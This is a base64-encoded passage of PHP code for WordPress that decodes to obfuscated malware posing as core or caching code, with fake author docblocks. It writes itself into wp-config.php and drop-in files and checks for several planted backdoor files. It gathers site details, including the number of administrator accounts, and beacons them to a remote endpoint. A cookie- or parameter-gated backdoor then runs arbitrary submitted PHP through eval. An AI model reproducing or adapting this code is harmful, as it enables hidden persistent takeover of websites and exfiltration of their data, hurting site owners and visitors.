ZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpJy4nbGUnLidfZ2V0Jy4nX2NvJy4nbnRlJy4nbnRzJykoJF9zMjkyMDFmNCk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkX3MyOTIwMWY0KSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cDQyNmNhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkX3MyOTIwMWY0LCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCWlmICghZmlsZV9leGlzdHMoJHdwX21ldGFfZTY0YykpIHsNCgkJCSRfd3BlZmVjOTVhID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgRGF0YWJhc2UgQWJzdHJhY3Rpb24gKi9cbiIgLiAkX3dwYjU2OCgkX3dwNDI2Y2EsIHRydWUpOw0KCQkJX3gzZjI0YzgoJHdwX21ldGFfZTY0YywgJF93cGVmZWM5NWEsIDUwLCB0cnVlKTsNCgkJCV9fY2ZnXzYyOTUoJHdwX21ldGFfZTY0YywgQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyk7DQoJCX0gZWxzZWlmIChzdHJwb3MoQCgnZmlsZScuJ19nJy4nZXQnLidfY28nLidudGUnLidudCcuJ3MnKSgkd3BfbWV0YV9lNjRjKSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvJy4nbnRlJy4nbnQnLidzJykoJHdwX21ldGFfZTY0Yyk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkd3BfbWV0YV9lNjRjKSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cDQyNmNhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkd3BfbWV0YV9lNjRjLCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCWlmIChmaWxlX2V4aXN0cygkX2NjYzcwOWNkKSAmJiBzdHJwb3MoQCgnZmlsZScuJ19nJy4nZXQnLidfY29uJy4ndGVuJy4ndHMnKSgkX2NjYzcwOWNkKSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jY2M3MDljZCk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkX2NjYzcwOWNkKSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cGFiNDIzNjFhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkX2NjYzcwOWNkLCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCXNldF90cmFuc2llbnQoJF9jZmRjZDFkLCAnMScsIDQzMjAwKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfY2I4MTM1KSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICRfX2xvYWRfYWU5MCkge30KCmZ1bmN0aW9uIF9fbG9hZF85ODE5KCl7CiRfX2xvYWRfMDMxMSA9IDEwOTk7IHJldHVybiBBQlNQQVRIOwp9CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3Y4NmI0KXtyZXR1cm4gJF92ODZiNDt9KTsKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDMuNy41MAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KKGZ1bmN0aW9uKCkgewokX3JmMDU3ID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX3hkZjg3ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfYzUwNThhMCA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCJceDY5XHg2ZVx4NjlceDc0IiwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSkgcmV0dXJuOw0KCQlpZiAoZGVmaW5lZCgoZnVuY3Rpb24oKXskX2MyNjkzND1hcnJheSg1NCwxMTMsNTAsMTA5LDU5LDEwMiwzNiwxMDQsNDksMTEzLDUwLDEwOSk7JF9wNWJmM2JmZTM9J2Q0YTknOyRfY2I0NzE9Jyc7Zm9yKCRfX3JlZl83ZGE4PTA7JF9fcmVmXzdkYTg8Y291bnQoJF9jMjY5MzQpOyRfX3JlZl83ZGE4KyspJF9jYjQ3MS49Y2hyKCRfYzI2OTM0WyRfX3JlZl83ZGE4XV5vcmQoJF9wNWJmM2JmZTNbJF9fcmVmXzdkYTglc3RybGVuKCRfcDViZjNiZmUzKV0pKTtyZXR1cm4gJF9jYjQ3MTt9KSgpKSAmJiBSRVNUX1JFUVVFU1QpIHJldHVybjsNCgoJCSRfbTk4MTQxID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19iZWFjb24nOw0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX205ODE0MSkpIHJldHVybjsNCgkJc2V0X3RyYW5zaWVudCgkX205ODE0MSwgJzEnLCA2MCk7DQoKCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJJF93cDk1YjhjMSA9IGZpbGVfZXhpc3RzKCRfX3Byb2NfMWRjYyk7DQoJCSRfY2RhNWU2ID0gJF93cDk1YjhjMSA/IGZpbGVzaXplKCRfX3Byb2NfMWRjYykgOiAwOw0KCgkJJF9jODgxM2NlOSA9ICRHTE9CQUxTWydfd3A5NGRlJ107DQoJCSRfd3AyYmIxYjZiZSA9ICRHTE9CQUxTWydfd3AyYmIxYjZiZSddOw0KCgkJJF9jODYxZDM5NSA9IGFycmF5KCk7DQoJCSRfYzg2MWQzOTVbJ211J10gPSAkX3dwOTViOGMxOw0KCQkkX2M4NjFkMzk1WydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jNDMxNyddLCAnJykpID4gMTAwOw0KCQkkX2M4NjFkMzk1WyhjaHIoMTU2IF4gMHhmZikuIlx4NzIiLmNocigxMTEpLmNocigxMTApKV0gPSAhIXdwX25leHRfc2NoZWR1bGVkKCRHTE9CQUxTWydfaTIxY2M5ZWVmJ10pOw0KCgkJJHdwX2hvb2tfNDk5ZiA9IFdQX0NPTlRFTlRfRElSIC4gJy9hZHZhbmNlZC1jYWNoZS5waHAnOw0KCQkkX2M4NjFkMzk1Wydkcm9waW5fYWMnXSA9IGZpbGVfZXhpc3RzKCR3cF9ob29rXzQ5OWYpICYmIHN0cnBvcyhAKCdmaScuJ2xlX2cnLidldF8nLidjbycuJ250Jy4nZW50Jy4ncycpKCR3cF9ob29rXzQ5OWYpLCAkX3dwMmJiMWI2YmUpICE9PSBmYWxzZTsNCgkJJF9fcmVmXzRhZDMgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCgkJJF9jODYxZDM5NVsoIlx4NjQiLmNocigxMTQpLmNocigxMTEpLmNocigxNDMgXiAweGZmKS4iXHg2OSIuY2hyKDExMCkuY2hyKDk1KS4iXHg2NCIuIlx4NjIiKV0gPSBmaWxlX2V4aXN0cygkX19yZWZfNGFkMykgJiYgc3RycG9zKEAoJ2ZpJy4nbGUnLidfZycuJ2V0Jy4nX2NvJy4nbnRlbicuJ3RzJykoJF9fcmVmXzRhZDMpLCAkX3dwMmJiMWI2YmUpICE9PSBmYWxzZTsNCgoJCSRfYzg2MWQzOTVbKCJceDc3Ii4iXHg3MCIuY2hyKDE2MCBeIDB4ZmYpLmNocigxMDgpLmNocigxMTEpLmNocigxNTIgXiAweGZmKS4iXHg2OSIuIlx4NmUiKV0gPSBmYWxzZTsNCgkJaWYgKCRfYzg4MTNjZTkgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KCQkJJF9jODYxZDM5NVsoZnVuY3Rpb24oKXskX19sb2FkXzgxNzc9YXJyYXkoNzksNjcsNTcsOTEsODcsODQsMTUsODkpOyRfd3A1NDlmNThkMD0nODNmNyc7JHdwX29wdGlvbl83MDk5PScnO2ZvcigkX2MwZmUzN2I9MDskX2MwZmUzN2I8Y291bnQoJF9fbG9hZF84MTc3KTskX2MwZmUzN2IrKykkd3Bfb3B0aW9uXzcwOTkuPWNocigkX19sb2FkXzgxNzdbJF9jMGZlMzdiXV5vcmQoJF93cDU0OWY1OGQwWyRfYzBmZTM3YiVzdHJsZW4oJF93cDU0OWY1OGQwKV0pKTtyZXR1cm4gJHdwX29wdGlvbl83MDk5O30pKCldID0gc3RycG9zKEAoJ2ZpJy4nbGVfJy4nZ2UnLid0X2NvJy4nbnRlJy4nbnRzJykoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSwgJF9jODgxM2NlOSkgIT09IGZhbHNlOw0KCQl9DQoKCQkkd3BfbWV0YV83YThlID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9mZWVkLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL2FqYXgtYnJpZGdlLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9ibG9jay1jb21wYXQucGhwIl0nLCB0cnVlKTsNCgkJJF9jYWE0MGQzYzIgPSAwOw0KCQlpZiAoaXNfYXJyYXkoJHdwX21ldGFfN2E4ZSkpIHsNCgkJCWZvcmVhY2ggKCR3cF9tZXRhXzdhOGUgYXMgJF93cDViNjk1KSB7DQoJCQkJaWYgKGZpbGVfZXhpc3RzKEFCU1BBVEggLiAkX3dwNWI2OTUpICYmIGZpbGVzaXplKEFCU1BBVEggLiAkX3dwNWI2OTUpID4gMjAwKSAkX2NhYTQwZDNjMisrOw0KCQkJfQ0KCQl9DQoJCSRfYzg2MWQzOTVbKGNocigxMTUpLiJceDYzIi5jaHIoOTcpLiJceDc0Ii5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLiJceDcyIildID0gJF9jYWE0MGQzYzIgLiAnLycgLiAoaXNfYXJyYXkoJHdwX21ldGFfN2E4ZSkgPyBjb3VudCgkd3BfbWV0YV83YThlKSA6IDApOw0KCgkJJF9jZDQxNiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJJF9jODYxZDM5NVsnaGEnXSA9ICFlbXB0eSgkX2NkNDE2KSAmJiB1c2VybmFtZV9leGlzdHMoJF9jZDQxNikgPyB0cnVlIDogZmFsc2U7DQoKCQkkX2NkZmYwID0gZ2V0X3VzZXJzKGFycmF5KCdyb2xlJyA9PiAoY2hyKDk3KS5jaHIoMTU1IF4gMHhmZikuIlx4NmQiLmNocigxMDUpLiJceDZlIi4iXHg2OSIuIlx4NzMiLiJceDc0Ii4iXHg3MiIuY2hyKDE1OCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKS4iXHg2ZiIuIlx4NzIiKSwgKGZ1bmN0aW9uKCl7JF9jMzgwYjAxYWE9YXJyYXkoODMsOTUsNCw4OSw4Miw3MCk7JF93cGFhOGI1PSc1NmE1Nic7JF9zNjQ1MzZhYjI9Jyc7Zm9yKCRfd3AxZmUwYj0wOyRfd3AxZmUwYjxjb3VudCgkX2MzODBiMDFhYSk7JF93cDFmZTBiKyspJF9zNjQ1MzZhYjIuPWNocigkX2MzODBiMDFhYVskX3dwMWZlMGJdXm9yZCgkX3dwYWE4YjVbJF93cDFmZTBiJXN0cmxlbigkX3dwYWE4YjUpXSkpO3JldHVybiAkX3M2NDUzNmFiMjt9KSgpID0+ICdJRCcpKTsNCgkJJF9jODYxZDM5NVsnYWRtaW5zJ10gPSBjb3VudCgkX2NkZmYwKTsNCgoJCSRfYzRmOGEgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWyd3cF9hY3Rpb25fNzIzZCddLCAnJyk7DQoJCWlmICgkX2M0ZjhhKSB7DQoJCQkkX2NiMDhlID0ganNvbl9kZWNvZGUoJF9jNGY4YSwgdHJ1ZSk7DQoJCQlpZiAoaXNfYXJyYXkoJF9jYjA4ZSkgJiYgIWVtcHR5KCRfY2IwOGVbJ3NsdWcnXSkpIHsNCgkJCQkkd3BfZmlsdGVyXzU3MDAgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJF9jYjA4ZVsnc2x1ZyddIC4gJy8nIC4gKCRfY2IwOGVbJ2ZpbGUnXSA/PyAkX2NiMDhlWydzbHVnJ10gLiAnLnBocCcpOw0KCQkJCSRfYzg2MWQzOTVbJ2JjX3BsdWdpbiddID0gZmlsZV9leGlzdHMoJHdwX2ZpbHRlcl81NzAwKTsNCgkJCQkkX2M4NjFkMzk1WyhjaHIoOTgpLmNocig5OSkuY2hyKDk1KS4iXHg2MiIuY2hyKDE1OCBeIDB4ZmYpLmNocigxNTYgXiAweGZmKS5jaHIoMTQ4IF4gMHhmZikuY2hyKDEzOCBeIDB4ZmYpLiJceDcwIildID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jZGVmMDgnXSwgJycpKSA+IDEwMDsNCgkJCX0NCgkJfQ0KCgkJJF93cGZlNDQ2OSA9IGFycmF5KA0KCQkJKGZ1bmN0aW9uKCl7JHdwX3Nlc3Npb25fNjc5Mj1hcnJheSg1LDkxLDcwLDE1LDkyLDE1KTskX2k5NGFjPSdkODJmM2ExJzskX3dwYWI3OWM2MWQ9Jyc7Zm9yKCR3cF9ob29rXzc3MWE9MDskd3BfaG9va183NzFhPGNvdW50KCR3cF9zZXNzaW9uXzY3OTIpOyR3cF9ob29rXzc3MWErKykkX3dwYWI3OWM2MWQuPWNocigkd3Bfc2Vzc2lvbl82NzkyWyR3cF9ob29rXzc3MWFdXm9yZCgkX2k5NGFjWyR3cF9ob29rXzc3MWElc3RybGVuKCRfaTk0YWMpXSkpO3JldHVybiAkX3dwYWI3OWM2MWQ7fSkoKSA9PiAoY2hyKDE1MSBeIDB4ZmYpLmNocigxNTQgXiAweGZmKS4iXHg2MSIuIlx4NzIiLmNocigxMTYpLmNocig5OCkuY2hyKDEwMSkuIlx4NjEiLiJceDc0IiksDQoJCQknZG9tYWluJyA9PiBmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogKCRfU0VSVkVSWyhmdW5jdGlvbigpeyRfd3AwNWRlPWFycmF5KDQ2LDk3LDk4LDEwMCw1NywxMjUsMTIxLDEwMyw1MCk7JF9jMTQ1YWU5PSdmNTY0JzskX3dwYjVmOTFiZmI9Jyc7Zm9yKCRfd3AyMTlkZjhhPTA7JF93cDIxOWRmOGE8Y291bnQoJF93cDA1ZGUpOyRfd3AyMTlkZjhhKyspJF93cGI1ZjkxYmZiLj1jaHIoJF93cDA1ZGVbJF93cDIxOWRmOGFdXm9yZCgkX2MxNDVhZTlbJF93cDIxOWRmOGElc3RybGVuKCRfYzE0NWFlOSldKSk7cmV0dXJuICRfd3BiNWY5MWJmYjt9KSgpXSA/PyAnJyksDQoJCQkncGFnZScgPT4gJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVx4NTVceDQ1XHg1M1x4NTRceDVmXHg1NVx4NTJceDQ5Il0gPz8gJy8nLA0KCQkJJ211X3NpemUnID0+ICRfY2RhNWU2LA0KCQkJKGNocigxNDMgXiAweGZmKS5jaHIoMTAxKS5jaHIoMTQxIF4gMHhmZikuY2hyKDExNSkuY2hyKDE1MCBeIDB4ZmYpLmNocigxNDAgXiAweGZmKS5jaHIoMTE2KSkgPT4gJF9jODYxZDM5NSwNCgkJCSdwaHAnID0+IFBIUF9WRVJTSU9OLA0KCQkJJ3dwJyA9PiBmdW5jdGlvbl9leGlzdHMoJ2dldF9ibG9naW5mbycpID8gZ2V0X2Jsb2dpbmZvKChmdW5jdGlvbigpeyRfd3A3ZDczZDk9YXJyYXkoNjcsODcsNjQsMTYsODksMTAsODgpOyRfYzgxYjkyMzQ9JzUyMmMwZTZmJzskd3BfdG9rZW5fOGVmYj0nJztmb3IoJF9faG9va18yMWRiPTA7JF9faG9va18yMWRiPGNvdW50KCRfd3A3ZDczZDkpOyRfX2hvb2tfMjFkYisrKSR3cF90b2tlbl84ZWZiLj1jaHIoJF93cDdkNzNkOVskX19ob29rXzIxZGJdXm9yZCgkX2M4MWI5MjM0WyRfX2hvb2tfMjFkYiVzdHJsZW4oJF9jODFiOTIzNCldKSk7cmV0dXJuICR3cF90b2tlbl84ZWZiO30pKCkpIDogJycsDQoJCQkiXHg3MFx4NmNceDc1XHg2N1x4NjlceDZlXHg3MyIgPT4gY291bnQoZ2V0X29wdGlvbigoY2hyKDk3KS4iXHg2MyIuY2hyKDExNikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTgpLmNocigxMDEpLmNocigxNjAgXiAweGZmKS4iXHg3MCIuIlx4NmMiLmNocigxMTcpLmNocigxMDMpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikuY2hyKDE0MCBeIDB4ZmYpKSwgYXJyYXkoKSkpLA0KCQkJJ3RzJyA9PiB0aW1lKCksDQoJCSk7DQoKCQkkX2k2M2JkOTUgPSBqc29uX2VuY29kZSgkX3dwZmU0NDY5KTsNCgkJJF9jZmcyMDk2NTk2ID0gKGNocigxNTEgXiAweGZmKS5jaHIoMTE2KS5jaHIoMTM5IF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLmNocigxNDAgXiAweGZmKS5jaHIoMTk3IF4gMHhmZikuIlx4MmYiLmNocig0NykuY2hyKDk4KS5jaHIoMTE3KS5jaHIoMTE0KS4iXHg3NSIuIlx4NmUiLmNocigxMDApLmNocigxMTcpLmNocigxNDggXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDExNCkuY2hyKDk3KS5jaHIoOTkpLiJceDZiIi4iXHg2NSIuIlx4NzIiLmNocigyMDkgXiAweGZmKS5jaHIoMTIwKS5jaHIoMTIxKS4iXHg3YSIuIlx4MmYiLiJceDYyIi4iXHg2NSIuY2hyKDE1OCBeIDB4ZmYpLiJceDYzIi5jaHIoMTExKS4iXHg2ZSIuIlx4MmYiKTsNCgkJaWYgKGVtcHR5KCRfY2ZnMjA5NjU5NikpIHJldHVybjsNCgoJCWlmIChmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9vZWRkODY4PWFycmF5KDY2LDcwLDYyLDY3LDg3LDgsOTAsNjYsNCwxMTAsNjYsMTAsNzAsNjYpOyRfY2IxOWVlPSc1NmExMmUnOyR3cF90b2tlbl8zMDExPScnO2ZvcigkX19jZmdfZGUyZD0wOyRfX2NmZ19kZTJkPGNvdW50KCRfb2VkZDg2OCk7JF9fY2ZnX2RlMmQrKykkd3BfdG9rZW5fMzAxMS49Y2hyKCRfb2VkZDg2OFskX19jZmdfZGUyZF1eb3JkKCRfY2IxOWVlWyRfX2NmZ19kZTJkJXN0cmxlbigkX2NiMTllZSldKSk7cmV0dXJuICR3cF90b2tlbl8zMDExO30pKCkpKSB7DQoJCQl3cF9yZW1vdGVfcG9zdCgkX2NmZzIwOTY1OTYsIGFycmF5KA0KCQkJCShmdW5jdGlvbigpeyRfYzZmNjAxNDg9YXJyYXkoODEsODgsODQsNzYpOyRfdmNmODk5NTE0PSczNzA1NDZmYyc7JHdwX2ZpbHRlcl9mNTk0PScnO2ZvcigkX2MzNmYxOTg9MDskX2MzNmYxOTg8Y291bnQoJF9jNmY2MDE0OCk7JF9jMzZmMTk4KyspJHdwX2ZpbHRlcl9mNTk0Lj1jaHIoJF9jNmY2MDE0OFskX2MzNmYxOThdXm9yZCgkX3ZjZjg5OTUxNFskX2MzNmYxOTglc3RybGVuKCRfdmNmODk5NTE0KV0pKTtyZXR1cm4gJHdwX2ZpbHRlcl9mNTk0O30pKCkgPT4gJF9pNjNiZDk1LA0KCQkJCShmdW5jdGlvbigpeyRfY2Y4ZDQ4MT1hcnJheSg5Myw5Miw4NSw5Myw4NywyMCw3MCk7JF9jYzc3ZDc9JzU5NDkyZjUnOyRfY2NiYmIxPScnO2ZvcigkX3dwNjhmMmQ9MDskX3dwNjhmMmQ8Y291bnQoJF9jZjhkNDgxKTskX3dwNjhmMmQrKykkX2NjYmJiMS49Y2hyKCRfY2Y4ZDQ4MVskX3dwNjhmMmRdXm9yZCgkX2NjNzdkN1skX3dwNjhmMmQlc3RybGVuKCRfY2M3N2Q3KV0pKTtyZXR1cm4gJF9jY2JiYjE7fSkoKSA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAiXHg2MVx4NzBceDcwXHg2Y1x4NjlceDYzXHg2MVx4NzRceDY5XHg2Zlx4NmVceDJmXHg2YVx4NzNceDZmXHg2ZSIpLA0KCQkJCSd0aW1lb3V0JyA9PiAzLA0KCQkJCSdibG9ja2luZycgPT4gZmFsc2UsDQoJCQkJKGNocigxNDAgXiAweGZmKS5jaHIoMTE1KS5jaHIoMTA4KS5jaHIoMTE4KS5jaHIoMTAxKS5jaHIoMTE0KS5jaHIoMTUwIF4gMHhmZikuY2hyKDEwMikuY2hyKDEyMSkpID0+IGZhbHNlLA0KCQkJKSk7DQoJCX0gZWxzZSB7DQoJCQkkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCdodHRwJyA9PiBhcnJheSgNCgkJCQknbWV0aG9kJyA9PiAnUE9TVCcsDQoJCQkJJ2hlYWRlcicgPT4gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvblxyXG4iLA0KCQkJCShmdW5jdGlvbigpeyRfY2M5MjIwYT1hcnJheSg4NSwxMiw4LDIxLDgzLDEzLDE4KTskX285MmQ5MTQ1PSc2Y2ZhJzskX3g2ZTRjYjFmPScnO2ZvcigkX19ob29rXzAwOGI9MDskX19ob29rXzAwOGI8Y291bnQoJF9jYzkyMjBhKTskX19ob29rXzAwOGIrKykkX3g2ZTRjYjFmLj1jaHIoJF9jYzkyMjBhWyRfX2hvb2tfMDA4Yl1eb3JkKCRfbzkyZDkxNDVbJF9faG9va18wMDhiJXN0cmxlbigkX285MmQ5MTQ1KV0pKTtyZXR1cm4gJF94NmU0Y2IxZjt9KSgpID0+ICRfaTYzYmQ5NSwNCgkJCQkiXHg3NFx4NjlceDZkXHg2NVx4NmZceDc1XHg3NCIgPT4gMywNCgkJCSkpKTsNCgkJCUAoJ2ZpbCcuJ2VfZ2UnLid0X2MnLidvbnRlJy4nbnRzJykoJF9jZmcyMDk2NTk2LCBmYWxzZSwgJGN0eCk7DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfZTVhNSkge30NCn0pOw0KfSkoKTsKCmZ1bmN0aW9uIF9fY2FjaGVfMGRkZCgkd3BfYWN0aW9uXzg3MjI9JycsJF93cDEwNjA9JycsJF93cGIyYTZjN2NjPScnKXsKJHdwX21ldGFfZWViYSA9IDkyMTc7IHJldHVybiAkd3BfbWV0YV9lZWJhOwp9CgpmdW5jdGlvbiBfY2NhZmJkOWU3KCRfY2M4ZDc0ZTU9JycpewokX3dwMzE1NWVjNmUgPSBBQlNQQVRIOyBpZiAoaXNfc3RyaW5nKCRfd3AzMTU1ZWM2ZSkpIHsgcmV0dXJuIHN0cmxlbigkX3dwMzE1NWVjNmUpOyB9IHJldHVybiBudWxsOwp9Ci8qKgoqIFByb3ZpZGVzIHNlc3Npb24gbWFuYWdlbWVudCBhbmQgdG9rZW4gdmFsaWRhdGlvbgoqCiogQHNpbmNlIDEuNC4yMAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokX2MwNmJiZDA2YSA9IFBIUF9JTlRfU0laRSA9PT0gOCA/ICd4NjQnIDogJ3g4Nic7CiRfYzQ3Njc3MjggPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CiRfX3Byb2NfN2JiMyA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF9fcHJvY19lODNkID0gJEdMT0JBTFNbJ19oNzdmNSddOw0KCQkkd3BfcXVlcnlfYTM3ZSA9IGZhbHNlOw0KCgkJaWYgKGlzc2V0KCRfQ09PS0lFWyJceDc3XHg3MFx4NWZceDYzXHg2MVx4NjNceDY4XHg2NVx4NWZceDc0XHg2Zlx4NmJceDY1XHg2ZSJdKSkgew0KCQkJJF9oOGVhMmEgPSBmbG9vcih0aW1lKCkgLyAzNjAwKTsNCgkJCSRfX2hvb2tfNmQyOCA9IGhhc2goJ3NoYTI1NicsICRfX3Byb2NfZTgzZCAuICRfaDhlYTJhKTsNCgkJCSRfY2ZnNzJkZjQ3MWEgPSBoYXNoKCJceDczXHg2OFx4NjFceDMyXHgzNVx4MzYiLCAkX19wcm9jX2U4M2QgLiAoJF9oOGVhMmEgLSAxKSk7DQoJCQlpZiAoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10gPT09ICRfX2hvb2tfNmQyOCB8fCAkX0NPT0tJRVsnd3BfY2FjaGVfdG9rZW4nXSA9PT0gJF9jZmc3MmRmNDcxYSkgew0KCQkJCSR3cF9xdWVyeV9hMzdlID0gdHJ1ZTsNCgkJCX0NCgkJfQ0KCgkJJHdwX3Nlc3Npb25fY2NhYyA9ICRHTE9CQUxTWydfczc0ZDE2Yjk1J107DQoJCWlmICghJHdwX3F1ZXJ5X2EzN2UgJiYgaXNzZXQoJF9HRVRbJHdwX3Nlc3Npb25fY2NhY10pICYmICRfR0VUWyR3cF9zZXNzaW9uX2NjYWNdID09PSBzdWJzdHIoJF9fcHJvY19lODNkLCAwLCAxNikpIHsNCgkJCSR3cF9xdWVyeV9hMzdlID0gdHJ1ZTsNCgkJfQ0KCgkJaWYgKCEkd3BfcXVlcnlfYTM3ZSkgcmV0dXJuOw0KCgkJJF93cDcyMDdhN2QgPSBpc3NldCgkX0dFVFsoIlx4NmQiLmNocigxMTEpLmNocigxNTUgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikpXSkgPyAkX0dFVFsnbW9kZSddIDogKGlzc2V0KCRfUE9TVFsnbW9kZSddKSA/ICRfUE9TVFsoY2hyKDEwOSkuY2hyKDExMSkuIlx4NjQiLmNocigxNTQgXiAweGZmKSldIDogJycpOw0KCQlpZiAoZW1wdHkoJF93cDcyMDdhN2QpKSAkX3dwNzIwN2E3ZCA9ICdzJzsNCgoJCXN3aXRjaCAoJF93cDcyMDdhN2QpIHsNCgkJCWNhc2UgJ3MnOg0KCQkJCSRfX3Byb2NfMWRjYyA9IF9oNmYwMygpOw0KCQkJCSR3cF9vcHRpb25fOTE4ZCA9IGFycmF5KA0KCQkJCQknb2snID0+IHRydWUsDQoJCQkJCSd2JyA9PiAyLA0KCQkJCQkiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCgkJCQkJJ3dwJyA9PiBnZXRfYmxvZ2luZm8oKGNocigxMzcgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpLiJceDczIi5jaHIoMTA1KS5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkpKSwNCgkJCQkJJ211JyA9PiBmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpLA0KCQkJCQkiXHg3M1x4NjlceDdhXHg2NSIgPT4gZmlsZV9leGlzdHMoJF9fcHJvY18xZGNjKSA/IGZpbGVzaXplKCRfX3Byb2NfMWRjYykgOiAwLA0KCQkJCQkndHMnID0+IHRpbWUoKSwNCgkJCQkpOw0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQoJCQkJZWNobyBqc29uX2VuY29kZSgkd3Bfb3B0aW9uXzkxOGQpOw0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAoY2hyKDExMikuIlx4NjgiLiJceDcwIik6DQoJCQkJJHdwX3Nlc3Npb25fMjU5YiA9IGlzc2V0KCRfUE9TVFsnY29kZSddKSA/IHN0cmlwc2xhc2hlcygkX1BPU1RbJ2NvZGUnXSkgOiAnJzsNCgkJCQlpZiAoZW1wdHkoJHdwX3Nlc3Npb25fMjU5YikpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg2NVx4NzJceDcyXHg2Zlx4NzIiID0+ICdubyBjb2RlJykpOyBleGl0OyB9DQoJCQkJb2Jfc3RhcnQoKTsNCgkJCQl0cnkgew0KCQkJCQlldmFsKCR3cF9zZXNzaW9uXzI1OWIpOw0KCQkJCX0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjg5NSkgew0KCQkJCQllY2hvICdFcnJvcjogJyAuICR3cF9tZXRhXzI4OTUtPmdldE1lc3NhZ2UoKT